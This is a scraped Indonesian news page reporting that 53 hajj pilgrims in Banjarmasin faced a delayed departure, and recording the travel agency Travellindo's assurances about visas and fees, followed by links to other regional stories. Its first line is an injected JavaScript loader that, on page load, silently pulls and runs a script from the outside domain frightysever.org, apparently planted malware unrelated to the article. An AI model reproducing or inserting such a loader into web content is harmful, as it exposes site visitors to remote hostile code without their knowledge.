(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Usai melakukan rapat tertutup antar Travelindo dengan para calon jamaah haji yang berlangsung alot, kini para calon jamaah haji bisa tenang karena telah mendapatkan kejelasan jawaban. Pertemuan itu didampingi perwakilan Kementerian Agama (Kemenag) Pusat dan Direktorat Reskrimsus Polisi Daerah (Polda) Kalimantan Selatan (Kalsel).
Penanggung jawab Travellindo Tours & Travel Group Supriadi menjamin seluruh jemaah bakal tetap berangkat, sekalipun meleset dari jadwal awal pada pekan depan.
“Mereka itu jadwalnya tanggal 4, sekarang masih tanggal 2. Gagal tidak? tidak kan. Berarti belum waktunya,†jelas Supriadi.
Untuk pengurusan VISA yang diakui oleh Supriadi memang molor, kini masih dalam proses yang direncanakan akan selesai pada Senin sore. Serta para calon jemaah akan berangkat pada Selasa atau Rabu mendatang.
Ada 53 calon haji yang terancam gagal berangkat ke tanah suci Mekah. Mereka mengaku telah melunasi biaya keberangkatan hingga puluhan juta. Merasa tertipu oleh Travellindo Tours & Travel, mereka ngeluruk ke kantor Travellindo Tours & Travel, Jalan Pangeran Hidayatullah, Banjarmasin, Kamis (1/8) pagi.
Saat itu, Supriadi mengatakan bahwa semua yang terjadi adalah miskomunikasi antara para calon jamaah dan staff Travelindo yang masih terhitung baru bertugas akibat beberapa petugas lamanya sudah tidak bekerja di Travelindo. “Maklum lah namanya juga kan ada staf baru. Staf haji juga pada resign. Kadang mungkin komunikasinya kurang pas, akhirnya jamaah juga merasa jadi masalah,” ucapnya.
Selain itu, Supriadi juga membantah jika travel atas tanggung jawabnya meminta Rp 60 juta pada calon haji yang belum berangkat ke tanah suci. Permintaan itu sebagai jalan keluar alternatif untuk mengusahakan keberangkatan dengan difasilitasi utusan Kemenag dan Asosiasi Muslim Penyelenggara Haji dan Umrah Republik Indonesia (Amphuri).
Soal ini, Supriadi kembali menjamin jemaah tidak mengeluarkan uang sepeser pun. Travellindo memastikan mereka akan berangkat dari Banjarmasin pekan depan.
Namun di lain hal, Travelindo harus segera menyetorkan biaya iban sebesar 100.000 us dollar atau sekitar Rp 1,4 miliar sebagai jaminan keberangkatan calon jamaah haji. Bayaran iban untuk mengeluarkan VISA, serta biaya akomodasi untuk fasilitas mulai dari penginapan, transport dan catering ini include. Proses pembayaran iban akan dikawal penuh pihak Kemenag.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.